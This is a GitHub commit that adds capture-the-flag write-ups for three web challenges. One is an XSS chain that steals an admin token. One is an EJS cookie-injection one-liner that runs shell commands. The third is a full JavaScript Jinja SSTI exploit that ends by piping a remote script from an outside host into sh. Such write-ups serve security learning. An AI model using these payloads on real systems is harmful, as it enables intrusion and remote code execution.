Skip to content

Commit af1bc0a

Browse files
author
William Bowling
committed
Add writeups for DatascienceClass, JWTDecoder, OnlineNotepad
1 parent e7f4c8b commit af1bc0a

File tree

3 files changed

+69
-0
lines changed

3 files changed

+69
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
Vulnerable to `https://github.com/advisories/GHSA-hwvq-6gjx-j797` allowing xss, which can then:
2+
3+
- Load an iframe at `hub/token`
4+
- Click the `Request new API token` button
5+
- Exfiltrate the token
6+
7+
This token can then be used to authenticate as the admin and read the flag via a call to `/user/admin/api/contents/flag?content=1`
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
- The jwt cookie is decoded using `JsonCookies` which allows for a json object to be created
2+
- The decoded cookie is passed directly to the `app.render` function as the options
3+
- this allows for the `view options` setting to be set and arbitrary javascript run with the `outputFunctionName` option:
4+
5+
```bash
6+
curl -g http://localhost:3000/ -H 'Cookie: jwt=j:{"settings":{"view options":{"outputFunctionName":"a%3b return global.process.mainModule.constructor._load(%27child_process%27).execSync(%27cat /flag.txt%27)%3b //"}}}
7+
```
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,55 @@
1+
- The memo body allows for control statements (eg `{% %}`) to be injected https://jinja.palletsprojects.com/en/3.1.x/templates/#list-of-control-structures
2+
- The memo body only allows 64 characters, but they can be combined by creating a variable then using `include` to extend it
3+
- An RCE payload can then be built up similar to https://secure-cookie.io/attacks/ssti/
4+
5+
```javascript
6+
async function memo(userid, password, memo) {
7+
const resp = await fetch("/memo/", {
8+
method: "POST",
9+
headers: { "Content-Type": "application/json" },
10+
body: JSON.stringify({ userid, password, memo }),
11+
});
12+
return await resp.json();
13+
}
14+
15+
async function ggg(payload, inc = true) {
16+
await memo(
17+
`vak${(i++).toString().padStart(2, "0")}`,
18+
"super_secret",
19+
`{%endraw%}{%${payload}%}{%include"vak${i
20+
.toString()
21+
.padStart(2, "0")}.html"%}{%raw%}`
22+
);
23+
}
24+
25+
var i = 1;
26+
var idx = 100; // remote
27+
// var idx = 81; // local
28+
29+
await memo(
30+
"vakzz",
31+
"super_secret1",
32+
`{%endraw%}{%include"vak01.html"%}{%raw%}`
33+
);
34+
await ggg(`set a="".__class__`);
35+
await ggg(`set a=a.__base__`);
36+
await ggg(`set b='__subcl'`);
37+
await ggg(`set b=b+'asses__'`);
38+
await ggg(`set a=a[b]()[${idx}]`);
39+
await ggg(`set a=a.__init__`);
40+
await ggg(`set a=a.__globals__`);
41+
await ggg(`set a=a['sys']`);
42+
await ggg(`set a=a.modules`);
43+
await ggg(`set a=a['os']`);
44+
await ggg(`set a=a.popen`);
45+
await ggg(`set c='curl aw'`);
46+
await ggg(`set c=c+'.rs/psh|sh'`);
47+
await ggg(`set a=a(c)`);
48+
await ggg(`set a=a.read()`);
49+
await memo(
50+
`vak${(i++).toString().padStart(2, "0")}`,
51+
"super_secret",
52+
`{%endraw%}done{%raw%}`
53+
);
54+
await (await fetch("/memo/vakzz/super_secret1")).text();
55+
```

0 commit comments

Comments
 (0)